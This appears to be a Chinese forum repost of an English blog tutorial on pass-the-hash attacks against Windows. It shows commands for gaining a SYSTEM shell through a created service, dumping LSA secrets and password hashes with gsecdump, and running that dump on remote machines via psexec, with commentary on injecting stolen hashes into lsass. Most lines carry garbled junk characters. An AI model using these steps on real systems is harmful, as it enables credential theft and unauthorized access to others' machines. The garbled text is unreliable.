HASH注入式攻击

admin

o get a DOS Prompt as NT system:

3 ~' @2 R& ]! TC:\>sc create shellcmdline binpath= "C:\WINDOWS\system32\cmd.exe /K start" type= own type= interact
7 `; Y2 g9 U# O" H[SC] CreateService SUCCESS
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, D, `, u* R$ n* d5 TC:\>sc start shellcmdline
+ Y, w% |" r5 W4 h' b1 C[SC] StartService FAILED 1053:
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The service did not respond to the start or control request in a timely fashion.
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  h& t, Z/ B$ F; ^3 hC:\>sc delete shellcmdline
$ o9 S2 @# \: p7 P[SC] DeleteService SUCCESS
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! m: F" y, e' ^' ?; D3 u6 k------------

0 ?. q3 S8 R# f8 tThen in the new DOS window:
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3 A4 u" i2 l4 O. X  h7 @) H! F: Z: ^Microsoft Windows XP [Version 5.1.2600]
0 f1 h( Q: m* G" g6 {+ e* ]# ](C) Copyright 1985-2001 Microsoft Corp.

! r1 N# X( |* oC:\WINDOWS\system32>whoami
% q" [2 j: f9 e- v8 U/ q. ~2 }" uNT AUTHORITY\SYSTEM
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2 D. h/ n( r" {/ u. JC:\WINDOWS\system32>gsecdump -h
gsecdump v0.6 by Johannes Gumbel (链接标记johannes.gumbel@truesec.se)
usage: gsecdump [options]

8 e0 B# x, ?& f0 J5 J! N2 T: Toptions:
! w' @2 G3 y$ `8 N0 J- E, [2 L9 R-h [ --help ] show help
-a [ --dump_all ] dump all secrets
-l [ --dump_lsa ] dump lsa secrets
-w [ --dump_wireless ] dump microsoft wireless connections
2 s5 I7 \0 \' R& i5 V6 j-u [ --dump_usedhashes ] dump hashes from active logon sessions
-s [ --dump_hashes ] dump hashes from SAM/AD

3 t. l0 z' Q4 v4 Y- q- oAlthough I like to use:
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PsExec v1.83 - Execute processes remotely
Copyright (C) 2001-2007 Mark Russinovich
Sysinternals - 链接标记[url]www.sysinternals.com[/url]
2 G  k' ]5 \# Y# A
6 p% N; V' ~7 v3 ^C:\>psexec \\COMPUTER -u user -p password -s -f -c gsecdump.exe -u >Active-HASH.TXT
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to get the hashes from active logon sessions of a remote system.
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* z- w3 ^, A. x& L, iThese are a lot better than getting a cachedump of the Cached Credentials because these hashes are LMHashes that can be easily broken with Rainbow Tables.
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提示一下,可以使用pshtools工具包中的iam,把刚才使用gsecdump抓取出来HASH信息导入本地的lsass进程,来实现hash注入式攻击,还是老外厉害,这下管理员有得忙了,ARP欺骗的时候获得的LM/NThash,还有gethash获得的,其实根本不用破解密码,这个就是利用工具了,原文说的好,不管密码是设置4位还是127位,只要有了hash,100%就能搞定了.
% R' p7 S# W0 _  Z" E( T原文出处:链接标记[url]http://truesecurity.se/blogs/mur ... -text-password.aspx[/url]
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我看了下原文出处，貌似是/2007/03/16/郁闷啊，差距。
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